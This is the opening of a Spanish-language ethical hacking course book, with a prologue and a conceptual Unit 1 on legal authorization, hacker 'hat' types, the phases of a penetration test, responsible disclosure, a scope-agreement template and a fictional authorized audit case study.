

Curso Completo de Hacking Ético

Autor: Esteban

lucasegaacademy.com

*Guía completa con explicaciones extensas por unidad,
prácticas y examen final.*

Curso Completo de Hacking Ético

Autor: Esteban

lucasegaacademy.com

Publicado por Colibrí Editorial EGA

© 2026 Esteban. Todos los derechos reservados.

Queda prohibida la reproducción total o parcial de esta obra
sin autorización escrita del autor.

ÍNDICE

PRÓLOGO	4
UNIDAD 1: Introducción al hacking ético	8
UNIDAD 2: Tu laboratorio seguro con Kali Linux	26
UNIDAD 3: Reconocimiento y footprinting	43
UNIDAD 4: Escaneo de redes con Nmap	58
UNIDAD 5: Análisis de vulnerabilidades	72
UNIDAD 6: Contraseñas y autenticación segura	86
UNIDAD 7: Ingeniería social defensiva	100
UNIDAD 8: Seguridad en tu red Wi-Fi	114
UNIDAD 9: Hardening de sistemas	127
UNIDAD 10: Reporte de hallazgos y tu carrera en ciberseguridad	141
ANEXO A: 10 LABORATORIOS GUIADOS PASO A PASO	155
ANEXO B: GLOSARIO MAESTRO Y CHULETAS DEL AUDITOR	193
ANEXO C: CASOS HISTÓRICOS DE SEGURIDAD Y SUS LECCIONES	221
EXAMEN FINAL	259

PRÓLOGO

Bienvenido a tu formación como hacker ético

Este libro no te va a enseñar a robar contraseñas ajenas, a espiar a nadie ni a tumbar sistemas. Te va a enseñar algo mucho más valioso y mucho más rentable: a protegerlos. El hacking ético es la disciplina de pensar como un atacante para defender como un profesional, y es una de las habilidades mejor pagadas en el mundo de la tecnología.

La diferencia entre un delincuente informático y un hacker ético no está en las herramientas. Ambos pueden usar Nmap, ambos conocen los mismos comandos, ambos entienden cómo funciona una red. La diferencia está en tres cosas: el permiso, la intención y la ley. El delincuente actúa sin permiso, con intención de dañar o robar, y fuera de la ley. El hacker ético actúa con autorización escrita, con la intención de mejorar la seguridad, y dentro de un marco legal y profesional estricto. Este libro existe para formarte en el segundo camino, y lo repito desde la primera página porque es lo más importante de todo lo que vas a leer.

Lucas EGA Academy (lucasegaacademy.com) creó este material con un propósito defensivo y educativo. Cada técnica que aquí se explica está presentada desde la perspectiva de quien defiende: el administrador de sistemas que quiere cerrar puertas, el dueño de un negocio que quiere proteger los datos de sus clientes, el estudiante que quiere convertirse en un profesional de la ciberseguridad. Si alguna vez sientes la tentación de usar lo aprendido aquí en un sistema que no es tuyo o sin autorización, detente: eso no es hacking ético, es un delito, y tiene consecuencias penales reales.

El marco ético y legal: léelo dos veces

Antes de tocar una sola herramienta, necesitas grabar estas reglas. No son sugerencias, son condiciones no negociables.

Primera: solo practica en equipos y redes que sean tuyos o sobre los que tengas autorización explícita y por escrito. Tu propia computadora, tu propia red Wi-Fi, máquinas virtuales que tú instalaste para practicar, plataformas de laboratorio diseñadas para eso. "Probar a ver si entro" a la red del vecino, de tu escuela o de tu trabajo sin permiso es un delito aunque no robes nada y aunque "solo fuera por curiosidad". La curiosidad no es una defensa legal.

Segunda: documenta tu autorización. Si un cliente, un jefe o un amigo te pide revisar la seguridad de su sistema, que quede por escrito el alcance: qué sistemas puedes tocar, en qué

fechas y horarios, qué técnicas están permitidas y cuáles no. Un profesional serio nunca trabaja con un "échale un ojo a ver qué encuentras" verbal. El documento que te autoriza es tu escudo.

Tercera: no dañes, no alteres, no robes datos. En una prueba autorizada, si encuentras una vulnerabilidad, la reportas, no la explotas para curiosidad. Si accedes a información sensible durante una prueba, la tratas como confidencial. La regla de oro del pentester es dejar todo como lo encontró, salvo que el cliente haya pedido explícitamente una prueba de otro tipo.

Cuarta: respeta la ley de tu país. En México, por ejemplo, el acceso no autorizado a sistemas informáticos está tipificado como delito en el Código Penal Federal y en códigos estatales. Otros países tienen leyes equivalentes. Este libro no es asesoría legal, pero sí es una advertencia permanente: la ignorancia de la ley no te exime de cumplirla.

Quinta: usa tu conocimiento para construir. El objetivo final de todo lo que aprenderás es que los sistemas sean más seguros: cerrar vulnerabilidades, educar usuarios, escribir mejores configuraciones, diseñar redes más resistentes. Un hacker ético es, en el fondo, un constructor con mentalidad de atacante.

A lo largo del libro verás recuadros de "Marco ético" en cada unidad recordándote los límites de cada técnica. No los saltes. Son parte del examen final y, más importante, son parte de tu formación como profesional.

Qué vas a aprender

El libro está organizado en 10 unidades que agrupan las 30 clases del curso de Hacking Ético de la academia. Cada unidad cubre tres clases y sigue la misma estructura para que siempre sepas dónde estás.

Unidad 1: Introducción al hacking ético. Qué es y qué no es, los tipos de hackers, las fases de una prueba de penetración y el marco legal que debes conocer.

Unidad 2: Tu laboratorio seguro. Cómo instalar Kali Linux en una máquina virtual, configurar tu entorno de prácticas sin poner en riesgo tu computadora real, y conocer las herramientas básicas.

Unidad 3: Reconocimiento y footprinting. Cómo recopilar información pública sobre un objetivo autorizado (típicamente tu propia empresa o tu propio sitio) para saber qué ve un atacante.

Unidad 4: Escaneo de redes con Nmap. La herramienta más famosa del hacking ético: descubrir equipos, puertos y servicios en tu propia red de laboratorio.

Unidad 5: Análisis de vulnerabilidades. Qué es una vulnerabilidad, cómo se clasifican (CVE, CVSS) y cómo priorizar qué arreglar primero.

Unidad 6: Contraseñas y autenticación. Cómo se almacenan las contraseñas, por qué las débiles son un regalo para el atacante, y cómo probar la resistencia de tus propias credenciales de forma controlada.

Unidad 7: Ingeniería social defensiva. El eslabón más débil suele ser humano: phishing, pretextos y manipulación, vistos desde la defensa. Cómo reconocerlos y cómo entrenar a tu gente.

Unidad 8: Seguridad en redes Wi-Fi. Cómo funciona tu red inalámbrica, cómo configurarla de forma segura y cómo auditar tu propia red.

Unidad 9: Hardening de sistemas. Endurecer Linux y Windows: cerrar servicios innecesarios, configurar firewall, gestionar usuarios y mantener todo actualizado.

Unidad 10: Reporte de hallazgos y tu carrera. Cómo escribir un informe profesional de seguridad y cómo convertir lo aprendido en una carrera: certificaciones, portafolio y ética profesional.

Al final encontrarás un examen de 50 preguntas con soluciones explicadas para que midas tu avance.

Cómo estudiar este libro

No lo leas como una novela. Cada unidad está diseñada para estudiarse en una semana, combinando lectura y práctica.

Lee primero la introducción de la unidad para ubicarte. Después estudia la explicación detallada con calma: ahí están los conceptos, las analogías y los errores comunes. Luego sigue los ejemplos paso a paso frente a tu laboratorio: escribe los comandos tú mismo, no los copies y pegues sin pensar. La memoria muscular en la terminal se construye escribiendo.

Haz todos los ejercicios de la sección de práctica. Cada uno trae su solución explicada, pero intenta resolverlo antes de mirarla. Si te atorras más de 30 minutos, lee la solución, entiéndela y vuelve a intentarlo al día siguiente. Equivocarse en el laboratorio es gratis y es la mejor forma de aprender.

Termina cada unidad leyendo el resumen y pregúntate: ¿podría explicarle esto a alguien más con mis palabras? Si la respuesta es sí, avanzas. Si es no, repasa.

Necesitas una computadora con al menos 8 GB de RAM para virtualizar cómodamente, unos 60 GB de espacio libre en disco y conexión a internet para descargar Kali Linux y las máquinas de práctica. No necesitas experiencia previa en Linux, pero sí comodidad básica con la computadora: instalar programas, manejar archivos y seguir instrucciones con atención.

Un consejo final antes de empezar: la ciberseguridad es un campo donde nunca terminas de aprender. Las herramientas cambian, las vulnerabilidades nuevas aparecen cada semana y los atacantes innovan constantemente. Lo que este libro te da no es una lista de trucos que caducan, sino una forma de pensar: metodología, ética y fundamentos sólidos. Eso no caduca.

Empecemos.

Aviso sobre el uso de herramientas

Todas las herramientas mencionadas en este libro (Nmap, Hydra, Wireshark, John the Ripper, entre otras) son herramientas legítimas de administración y auditoría de seguridad, usadas todos los días por profesionales en todo el mundo. Su mención aquí tiene fines exclusivamente educativos y defensivos. Cada ejemplo de comando está pensado para ejecutarse en tu laboratorio: tu red, tus máquinas virtuales, tus sistemas. Cuando un ejemplo mencione un objetivo, asume siempre que se trata de un sistema de tu propiedad o con autorización escrita para auditarlo. Si un comando pudiera afectar a terceros, el libro lo advierte explícitamente.

Dicho esto, manos a la obra. Tu primera unidad te espera.

UNIDAD 1: Introducción al hacking ético

Bienvenido a la primera unidad. Aquí vas a construir los cimientos de todo lo demás: qué es exactamente el hacking ético, en qué se diferencia del delito informático, quiénes son los distintos tipos de hackers, cuáles son las fases de una prueba de penetración profesional y qué marco legal y ético debes respetar siempre. Puede parecer mucha teoría para alguien que quiere "ya ponerse a hackear", pero te lo digo de frente: quien se salta esta unidad termina siendo un peligro para sí mismo. Las herramientas sin criterio son como un coche sin frenos. Esta unidad son tus frenos, tu volante y tu mapa.

Piensa en un cerrajero. Un cerrajero sabe abrir puertas sin llave: conoce las cerraduras por dentro, sabe dónde está el punto débil de cada modelo y tiene ganzúas en su maletín. Nadie piensa que un cerrajero sea un ladrón por saber eso. Al contrario: cuando se te quedan las llaves adentro, el cerrajero es tu salvación, y cuando quieres proteger tu casa, es la persona indicada para decirte qué cerradura comprar. El hacker ético es el cerrajero del mundo digital. Sabe cómo se abren las "puertas" de los sistemas, no para entrar sin permiso, sino para decirte cuáles de tus puertas están mal cerradas y cómo reforzarlas.

Las empresas lo saben y pagan por ello. Un banco no puede darse el lujo de descubrir que su sistema era vulnerable después de que le roben los datos de sus clientes. Prefiere pagarle a un profesional para que intente entrar de forma controlada, le diga exactamente por dónde entró y le explique cómo cerrar esa puerta. Ese profesional es el hacker ético, también llamado pentester (de penetration tester) o consultor de seguridad ofensiva. Es un trabajo real, legal, bien pagado y con una demanda que no deja de crecer.

Explicación detallada

Qué es el hacking ético (y qué no es)

El hacking ético es la práctica autorizada de evaluar la seguridad de un sistema informático simulando las acciones de un atacante real, con el objetivo de encontrar vulnerabilidades antes de que lo hagan los delincuentes. Fíjate en cada palabra de la definición porque todas importan.

"Práctica autorizada": sin autorización escrita y explícita, no es hacking ético. Punto. Da igual si tus intenciones eran buenas, si "solo querías ayudar" o si no dañaste nada. La autorización es lo que separa al profesional del delincuente.

"Simulando las acciones de un atacante real": el hacker ético piensa como el malo para ganarle. Usa las mismas técnicas, las mismas herramientas y la misma creatividad, pero con un objetivo defensivo.

"Con el objetivo de encontrar vulnerabilidades": el producto del trabajo no es el acceso, es el conocimiento. Un buen pentest termina con un informe claro que dice qué está mal y cómo arreglarlo, no con un "miren, entré".

Lo que NO es el hacking ético: no es espiar parejas, no es "recuperar" cuentas de redes sociales ajenas, no es tumbarle el sitio al competidor, no es curiosear en la red de la escuela. Todo eso son delitos, aunque los cometas con las herramientas que aprenderás aquí. Las herramientas son neutrales; el uso que les des define quién eres.

Los sombreros: blanco, negro y gris

En la cultura hacker se habla de "sombreros" (hats), una metáfora del viejo oeste donde los buenos usaban sombrero blanco y los malos sombrero negro.

El hacker de sombrero blanco (white hat) es el hacker ético: trabaja con permiso, dentro de la ley, para mejorar la seguridad. Es el cerrajero del ejemplo anterior.

El hacker de sombrero negro (black hat) es el delincuente: roba datos, pide rescates con ransomware, vende accesos, defrauda. Usa conocimientos similares con fines criminales.

El hacker de sombrero gris (grey hat) está en medio: a veces encuentra vulnerabilidades sin permiso pero las reporta sin hacer daño, o actúa con buenas intenciones pero sin autorización. Ojo: "gris" no significa "legal". Encontrar una vulnerabilidad en un sistema ajeno sin permiso, aunque la reportes de buena fe, puede meterte en problemas legales serios. Como profesional, tu sombrero es blanco y tu autorización va por escrito. Siempre.

Existe también el "script kiddie", un término algo despectivo para quien usa herramientas hechas por otros sin entender cómo funcionan, normalmente para presumir o hacer daño. No quieres ser eso. Este libro te enseña a entender, no solo a ejecutar.

Tipos de pruebas de seguridad

No todo trabajo de hacking ético es igual. Los principales tipos son:

Prueba de penetración (pentest): un proyecto acotado en tiempo y alcance donde intentas vulnerar sistemas específicos para encontrar fallos. Es lo más común y es el corazón de este libro.

Auditoría de seguridad: revisión sistemática de configuraciones, políticas y controles contra un estándar o lista de verificación. Menos "ataque" y más "revisión".

Red team vs Blue team: el equipo rojo (red team) ataca de forma sigilosa y prolongada simulando a un adversario real; el equipo azul (blue team) defiende y detecta. Cuando ambos colaboran y comparten lo aprendido se le llama purple team. En empresas grandes estos ejercicios son el pan de cada día.

Bug bounty (recompensa por errores): programas donde las empresas invitan públicamente a hackers a buscar vulnerabilidades en sus sistemas a cambio de dinero. Plataformas conocidas conectan a miles de hackers éticos con empresas. Es una excelente puerta de entrada profesional, pero tiene reglas estrictas: solo puedes probar lo que el programa autoriza.

Análisis de vulnerabilidades: escanear sistemas para identificar vulnerabilidades conocidas sin necesariamente explotarlas. Es el paso previo a muchos pentests y lo verás a fondo en la Unidad 5.

Las cinco fases de un pentest

Todo pentest profesional sigue una metodología. La más enseñada tiene cinco fases, y las usaremos como mapa de todo el libro:

Fase 1: Reconocimiento. Recopilar toda la información posible sobre el objetivo autorizado: dominios, direcciones IP, tecnologías usadas, empleados (información pública), etc. Es trabajo de detective y es pasivo al principio: no tocas el objetivo, solo observas lo público. Unidad 3.

Fase 2: Escaneo. Interactuar con el objetivo para descubrir qué sistemas están activos, qué puertos están abiertos y qué servicios corren. Aquí brilla Nmap. Unidad 4.

Fase 3: Análisis de vulnerabilidades. Con la información del escaneo, identificar qué fallos de seguridad existen: software desactualizado, configuraciones débiles, etc. Unidad 5.

Fase 4: Explotación (controlada). Intentar aprovechar las vulnerabilidades encontradas para demostrar el impacto real, siempre dentro del alcance autorizado y sin causar daño. En este libro la explotación se trata desde la defensa: entender cómo ocurre para saber cómo prevenirla.

Fase 5: Reporte. Documentar todo: qué se encontró, qué tan grave es, cómo se puede explotar y, lo más importante, cómo se arregla. Un pentest sin buen reporte es trabajo a medias. Unidad 10.

Después del reporte suele haber una fase extra: la remediación y el re-test, donde el cliente corrige y tú verificas que la corrección funcionó.

Memoriza estas fases. Cuando te pregunten "¿qué hace un hacker ético?", tu respuesta no es "hackea", es "sigue una metodología de cinco fases para evaluar y mejorar la seguridad con autorización".

El marco legal: lo que la ley dice

Cada país tiene sus leyes, pero el principio es universal: acceder a un sistema informático sin autorización es delito. En México, el Código Penal Federal tipifica el acceso ilícito a sistemas y equipos de informática, con penas que aumentan si se trata de sistemas del Estado o si se roba, altera o destruye información. Los códigos penales estatales tienen figuras similares. Además existen leyes sobre protección de datos personales que obligan a las empresas a cuidar la información que manejan.

¿Qué significa esto en la práctica para ti? Tres cosas concretas:

Uno: nunca pruebes técnicas en sistemas ajenos sin autorización escrita, ni siquiera "para ver si se puede". El "no pasó nada malo" no es defensa.

Dos: si vas a trabajar para alguien, firma un acuerdo de alcance (scope) antes de empezar. Debe decir quién te autoriza, qué sistemas y direcciones IP están incluidos, qué está explícitamente excluido, en qué fechas y horarios puedes trabajar, qué técnicas están permitidas (por ejemplo, ¿se permite ingeniería social? ¿pruebas de denegación de servicio? normalmente no), y cómo se manejará la información confidencial que encuentres.

Tres: guarda evidencia de tu autorización y de tu trabajo. Un profesional documenta todo: el permiso, lo que hizo, cuándo lo hizo y lo que encontró. Si alguna vez te cuestionan, tu documentación es tu defensa.

Este libro no sustituye asesoría legal. Si vas a dedicarte profesionalmente, vale la pena que un abogado revise tus contratos de servicios. Es una inversión pequeña comparada con el riesgo.

La ética profesional del hacker ético

Más allá de la ley, hay un código de ética no escrito que distingue a los profesionales:

Confidencialidad: lo que ves en los sistemas del cliente se queda con el cliente. No presumes en redes sociales, no lo cuentas en fiestas, no lo usas para tu beneficio.

Integridad: reportas todo lo que encuentras, incluso si es incómodo para el cliente o si revela que una prueba anterior (quizá tuya) pasó algo por alto.

No hacer daño: tus pruebas no deben interrumpir el negocio del cliente. Por eso las pruebas agresivas se hacen en horarios acordados o en ambientes de prueba, no en producción un lunes a las 9 de la mañana.

Honestidad sobre tus límites: si algo está fuera de tu conocimiento, lo dices. Nadie sabe todo en seguridad; fingir que sí es peligroso.

Aprendizaje continuo: este campo cambia cada semana. El profesional ético estudia permanentemente, comparte conocimiento con la comunidad y ayuda a que otros se defiendan mejor.

Errores comunes de principiantes (evítalos desde hoy)

Error 1: "Voy a practicar escaneando sitios al azar". No. Escanear sistemas ajenos sin permiso puede ser ilegal y además es mala práctica: no aprendes metodología, solo haces ruido. Practica en tu laboratorio.

Error 2: "Me sé los comandos de memoria pero no sé qué hacen". Las herramientas cambian; los conceptos no. Si entiendes qué es un puerto, entenderás cualquier escáner. Si solo memorizas banderas de Nmap, te quedarás obsoleto.

Error 3: "Encontré algo en un sitio real, voy a entrar a ver qué hay". Eso es delito. Lo correcto si encuentras algo accidentalmente: no toques más, documenta lo mínimo necesario y repórtalo por los canales adecuados del sitio (muchos tienen política de divulgación responsable).

Error 4: "La seguridad es solo tecnología". No: la Unidad 7 te mostrará que el factor humano suele ser el eslabón débil. Un hacker ético completo entiende personas, procesos y tecnología.

Error 5: "Con este libro ya soy hacker". Este libro te da fundamentos sólidos, pero la maestría viene de practicar, de romper tu laboratorio mil veces y de seguir estudiando. Tómallo como el inicio, no como la meta.

Marco ético de la unidad

Todo lo visto en esta unidad es conceptual y no requiere herramientas. Tu compromiso a partir de hoy: solo practicarás en sistemas propios o autorizados por escrito, y ante cualquier duda sobre si algo está permitido, la respuesta es no hacerlo hasta tener autorización clara. Escríbelo en tu cuaderno de laboratorio: "Sin autorización escrita, no toco nada ajeno". Ese es tu juramento de sombrero blanco.

Ejemplos paso a paso

En esta unidad los ejemplos son documentales: un profesional de sombrero blanco domina el papel tanto como la terminal. Vamos a construir los documentos que usarás en tu carrera.

Ejemplo 1: Redactar un acuerdo de alcance (scope)

Antes de cualquier prueba autorizada, redacta un documento como este. Guárdalo como plantilla y úsalo siempre.

ACUERDO DE ALCANCE - PRUEBA DE SEGURIDAD AUTORIZADA

1. PARTES

Cliente: [Nombre de la empresa o persona]

Consultor: [Tu nombre]

Fecha: [DD/MM/AAAA]

2. OBJETIVO

Evaluar la seguridad de los sistemas descritos en el punto 3 mediante técnicas de hacking ético, con el fin de identificar vulnerabilidades y recomendar correcciones.

3. SISTEMAS AUTORIZADOS (dentro del alcance)

- Dominio: ejemplo-cliente.com
- IPs: 192.0.2.10 - 192.0.2.20 (red de laboratorio del cliente)
- Aplicación web: https://app.ejemplo-cliente.com

4. EXCLUSIONES (fuera del alcance, PROHIBIDO tocar)

- Sistemas de producción con datos reales de clientes
- Infraestructura de terceros (proveedores, nube compartida)
- Ingeniería social contra empleados (NO autorizada en esta prueba)

5. VENTANA DE TIEMPO AUTORIZADA

Del [fecha] al [fecha], de 18:00 a 22:00 (hora local).

6. TÉCNICAS PERMITIDAS

- Reconocimiento pasivo y escaneo de red: SI
- Análisis de vulnerabilidades: SI
- Explotación controlada sin daño: SI
- Denegación de servicio (DoS): NO
- Ingeniería social: NO

7. CONTACTO DE EMERGENCIA DEL CLIENTE

Nombre: [____] Teléfono: [____]

8. CONFIDENCIALIDAD

Toda la información encontrada será tratada como confidencial y solo se compartirá con las personas designadas por el cliente.

Firmas: _____

Cliente

Consultor

Fíjate: el documento protege a ambas partes. Al cliente le garantiza que no tocarás lo prohibido; a ti te protege porque demuestra que actuaste con permiso.

Ejemplo 2: Leer una ficha CVE como un profesional

Las vulnerabilidades conocidas tienen identificador CVE (Common Vulnerabilities and Exposures). Saber leer una ficha es habilidad básica. Busca en tu navegador "CVE-2021-44228" (la famosa Log4Shell) en un sitio como cve.org o NVD. Encontrarás:

- Descripción: qué software afecta y qué puede hacer un atacante.
- Puntaje CVSS: gravedad del 0 al 10.
- Productos y versiones afectadas.
- Referencias y, a veces, si existe parche.

Práctica de lectura: identifica en la ficha (a) el software afectado, (b) el puntaje de gravedad, (c) si hay solución disponible. Esta lectura es 100 por ciento legal y pasiva: solo consultas información pública. Harás esto cientos de veces en tu carrera.

Ejemplo 3: Tu cuaderno de laboratorio

Abre un documento o cuaderno físico y crea esta estructura. La usarás en todas las unidades:

```
FECHA: _____  
OBJETIVO DE LA SESIÓN: _____  
SISTEMAS INVOLUCRADOS (propios/autorizados): _____  
COMANDOS EJECUTADOS:  
  1.  
  2.  
RESULTADOS OBSERVADOS:  
HALLAZGOS / DUDAS:  
PRÓXIMOS PASOS:
```

Documentar te convierte en profesional. Además, cuando algo salga mal en tu laboratorio (y saldrá), tu cuaderno te dirá qué hiciste para poder revertirlo.

Ejemplo 4: Clasificar escenarios (sombrero blanco o no)

Lee cada escenario y decide si es hacking ético. Las respuestas están en la práctica.

a) Escaneas con Nmap la red Wi-Fi de tu casa para ver qué dispositivos tienes conectados. b) Un amigo te pide "hackear" el Facebook de su ex para leer sus mensajes. c) Encuentras un bug bounty público de una empresa y pruebas solo los dominios listados en sus reglas. d) En tu trabajo, el jefe te dice verbalmente "a ver si nuestra web aguanta", sin nada por escrito. e) Instalas Kali en una máquina virtual y practicas contra otra máquina virtual tuya.

Profundización: historia, tipos de prueba y divulgación responsable

De los phreaks a los pentesters: una breve historia

El hacking nació antes que internet. En los años 60 y 70, los "phone phreaks" exploraban la red telefónica con silbatos de juguete que emitían el tono exacto para hacer llamadas gratis. No robaban por dinero: exploraban por curiosidad. En el MIT de los 60, "hack" significaba una solución ingeniosa y elegante a un problema técnico, y era un elogio. Esa cultura de curiosidad y de compartir conocimiento es la raíz del hacking ético moderno.

En los 80 llegaron las primeras leyes contra el delito informático, porque algunos llevaron la curiosidad al allanamiento digital. En los 90, con la web, nacieron las primeras consultoras de seguridad. Y en los 2000 el campo se profesionalizó: metodologías (OSSTMM, OWASP, NIST), certificaciones y, finalmente, los programas bug bounty que convirtieron el talento hacker en una profesión legal y bien pagada. Conocer esta historia te ayuda a entender por qué la comunidad valora tanto la ética: la legitimidad del campo se ganó a pulso y cada delincuente con teclado la pone en riesgo.

Caja blanca, gris y negra: cuánto sabes del objetivo

En un pentest, el "color de caja" describe cuánto conocimiento previo tienes:

Caja blanca (white box): tienes acceso total: código fuente, credenciales, diagramas de red. Es una auditoría profunda y eficiente, ideal para encontrar fallos lógicos que un atacante externo no vería. Desventaja: no simula bien a un atacante real externo.

Caja negra (black box): no sabes nada, como un atacante externo real. Es la simulación más realista, pero consume más tiempo en reconocimiento.

Caja gris (grey box): punto medio, el más común en la práctica: te dan credenciales de usuario normal o información parcial, simulando a un atacante que ya consiguió un acceso básico (o a un empleado deshonesto). Eficiente y realista.

Como profesional, el tipo de caja se acuerda en el alcance. Como estudiante, practica los tres en tu laboratorio: audita tu Metasploitable sin mirar nada (negra), luego con credenciales de usuario (gris), luego revisando configuraciones con acceso total (blanca). Notarás que cada enfoque encuentra cosas distintas: por eso los programas serios combinan.

Divulgación responsable: qué hacer si encuentras algo real

Tarde o temprano, siendo curioso y observador, encontrarás una vulnerabilidad en un sistema real que no estabas auditando. El protocolo profesional de divulgación responsable:

1. No explotes más allá de lo mínimo necesario para confirmar. Nunca accedas a datos de usuarios reales ni los descargues.
2. Documenta con fecha, URL o sistema afectado, descripción técnica y pasos mínimos de reproducción.
3. Busca el canal oficial: muchos sitios tienen security.txt (un archivo en /.well-known/security.txt con el contacto de seguridad) o programa bug bounty, o página de "reportar vulnerabilidad".
4. Reporta de forma privada y dale al responsable un plazo razonable (típicamente 90 días) antes de cualquier divulgación pública.
5. No exijas pago si no hay programa bounty; no amenazas con publicar para extorsionar (eso es delito).
6. Si no hay respuesta y el riesgo es grave para usuarios, puedes escalar a autoridades o coordinadores (como CERTs nacionales), nunca a redes sociales primero.

Este proceso te protege legal y éticamente, y es exactamente lo que hacen los profesionales. Incluir un reporte responsable bien hecho en tu portafolio vale oro.

El marco legal con más detalle (México y panorama)

En México, el Código Penal Federal sanciona el acceso ilícito a sistemas informáticos, y las penas se agravan cuando se trata de sistemas del Estado, cuando se intercepta información o cuando se daña o destruye. Los estados tienen sus propios tipos penales. Además, la Ley Federal de Protección de Datos Personales en Posesión de los Particulares obliga a las empresas a proteger los datos que manejan: si auditas una empresa, parte de tu trabajo es verificar que cumple. En el panorama internacional existen figuras equivalentes en casi todos los países (en EE. UU. el CFAA, en España el Código Penal, en Colombia la Ley 1273). Conclusión práctica: da igual dónde estés, el acceso no autorizado es delito en todas partes. Y repito lo de la Unidad 1: esto no es asesoría legal; si vas a ejercer profesionalmente, un abogado revisa tus contratos.

Códigos de ética de la industria

Organizaciones como EC-Council, ISACA e ISC2 publican códigos de ética para sus certificados: confidencialidad, integridad, no hacer daño, honestidad sobre competencias y aprendizaje continuo. Aunque no tengas esas certificaciones todavía, adoptar su código te

pone al nivel profesional desde hoy. En entrevistas de trabajo, mencionar que sigues un código de ética formal te distingue de inmediato.

Glosario esencial de la unidad

Hacker ético / pentester: profesional autorizado que evalúa seguridad simulando atacantes. Activo / pasivo: si interactúas o no con el objetivo. Alcance (scope): límites escritos de una prueba. CVE: identificador de vulnerabilidad. Exploit: código o técnica que aprovecha una vulnerabilidad. Parche: corrección del fabricante. Superficie de ataque: todo lo expuesto que un atacante puede tocar. Vector de ataque: camino o método que usa el atacante. Triage: priorización de hallazgos. Divulgación responsable: reportar vulnerabilidades por canales privados adecuados.

Práctica

Ejercicio 1: Define con tus palabras

Escribe en tu cuaderno la definición de hacking ético sin mirar el libro. Debe incluir las palabras "autorizado", "simular" y "vulnerabilidades". Si te falta alguna, repasa la sección correspondiente.

Solución: Una definición válida es: "El hacking ético es la práctica autorizada de simular los ataques de un delincuente real contra un sistema, con el fin de encontrar vulnerabilidades y corregirlas antes de que sean explotadas". Lo esencial es que mencione autorización, simulación de atacante y propósito defensivo. Si tu definición dice "hackear con permiso para proteger", vas bien.

Ejercicio 2: Clasifica los sombreros

Indica si cada escenario del Ejemplo 4 es sombrero blanco, negro, gris o script kiddie, y justifica.

Solución: a) Sombrero blanco: es tu propia red, tienes todo el derecho de auditarla. b) Sombrero negro: acceder a la cuenta de otra persona sin su consentimiento es delito, aunque te lo pida un amigo (el amigo no es el dueño de la cuenta). c) Sombrero blanco: el programa bug bounty es una autorización pública con reglas claras; respetarlas es lo que lo hace ético. d) Gris peligroso: hay intención del dueño, pero sin nada por escrito no tienes protección. Lo profesional es pedir el acuerdo firmado antes de tocar nada. e) Sombrero blanco: laboratorio propio, el escenario ideal de práctica.

Ejercicio 3: Redacta tu propio scope

Toma la plantilla del Ejemplo 1 y llénala con un caso ficticio: vas a auditar la red casera de un familiar que te lo pidió. Define sistemas autorizados, exclusiones, horario y técnicas.

Solución: No hay una única respuesta correcta, pero tu documento debe incluir al menos: quién autoriza, qué IPs o equipos están incluidos (por ejemplo, "red 192.168.1.0/24 del domicilio"), qué está excluido (por ejemplo, "dispositivos de vecinos que aparezcan en el escaneo"), horario, técnicas permitidas y firma. Si incluiste una cláusula de confidencialidad, excelente: eso es mentalidad profesional.

Ejercicio 4: Investiga una ley de tu país

Busca en internet cómo se llama el delito de acceso no autorizado a sistemas informáticos en tu país y qué pena contempla. Anota la fuente.

Solución: En México, el Código Penal Federal (artículos 211 bis y siguientes) tipifica el acceso ilícito a sistemas y equipos de informática. Las penas varían según el caso y si se afectan sistemas del Estado. Lo importante del ejercicio no es memorizar artículos, sino comprobar por ti mismo que la ley existe, es real y contempla cárcel. Si eres de otro país, busca el equivalente (por ejemplo, en España el Código Penal, en Colombia la Ley 1273 de 2009, etc.).

Ejercicio 5: Las cinco fases en orden

Sin mirar, escribe las cinco fases del pentest y una frase de qué se hace en cada una.

Solución: 1) Reconocimiento: recopilar información pública del objetivo autorizado. 2) Escaneo: descubrir equipos, puertos y servicios activos. 3) Análisis de vulnerabilidades: identificar fallos de seguridad. 4) Explotación controlada: demostrar el impacto dentro del alcance y sin dañar. 5) Reporte: documentar hallazgos y cómo corregirlos. Si las escribiste en orden y con sentido, las tienes.

Ejercicio 6: Detecta el error profesional

Un "consultor" ofrece pentests por redes sociales, sin contrato, y presume capturas de pantallas de sistemas de clientes anteriores. Señala al menos tres faltas a la ética profesional.

Solución: 1) Trabajar sin contrato ni alcance escrito lo deja sin protección legal y al cliente sin garantías. 2) Publicar capturas de sistemas de clientes viola la confidencialidad, aunque tape algunos datos. 3) Ofrecer servicios serios por redes sociales sin credenciales verificables es señal de poca profesionalidad. Un profesional real firma acuerdos, guarda confidencialidad y tiene presencia verificable.

Caso práctico integral: tu primer proyecto simulado

Vamos a simular un proyecto completo de hacking ético para una empresa ficticia, "Café Aroma S.A.", una cadena de cafeterías con 5 sucursales, tienda en línea y 40 empleados. El dueño te contrata preocupado porque un competidor sufrió un ransomware. Harás un mini-pentest autorizado de alcance limitado. Este caso integra todo lo de la unidad y te prepara para las siguientes.

Día 1: Reunión y alcance. Te reúnes con el dueño y defines por escrito: sistemas autorizados (sitio web tienda.cafearoma.example, red de la oficina matriz 192.168.10.0/24, Wi-Fi de la matriz), exclusiones (sistemas de punto de venta en producción durante horario de atención, datos de clientes reales: no tocar), ventana (lunes a viernes 19:00-22:00), técnicas permitidas (reconocimiento, escaneo, análisis de vulnerabilidades; NO explotación destructiva, NO ingeniería social a empleados en esta fase), contacto de emergencia (el dueño y el encargado de TI). Ambos firman. Sin este documento, no hay proyecto.

Día 2: Reconocimiento pasivo. WHOIS del dominio: descubres que vence en 40 días (hallazgo administrativo: riesgo de perder el dominio). DNS: encuentras `tienda`, `www`, `mail` y un `pruebas` olvidado (subdominio candidato a puerta trasera). Google dorks: aparece un PDF de "precios mayoristas 2023" indexado (información de negocio expuesta). theHarvester: 12 correos corporativos públicos. Mapa del objetivo completo en tu cuaderno.

Día 3-4: Escaneo (ya en ventana autorizada). Nmap a la red de oficina: 8 equipos, una impresora con panel web sin contraseña (hallazgo), el servidor con 6 puertos abiertos. Versiones anotadas para análisis.

Día 5: Análisis. Priorizas: 1) impresora sin contraseña (acceso a red interna, fácil), 2) subdominio `pruebas` con software viejo, 3) dominio por vencer, 4) PDF expuesto. Todo documentado con evidencia.

Día 6: Reporte y presentación. Resumen ejecutivo para el dueño (sin jerga, con costos de corrección), hallazgos técnicos para el encargado de TI, plan de corrección a 30 días y re-test incluido. El dueño entiende, aprueba el plan y te contrata el seguimiento.

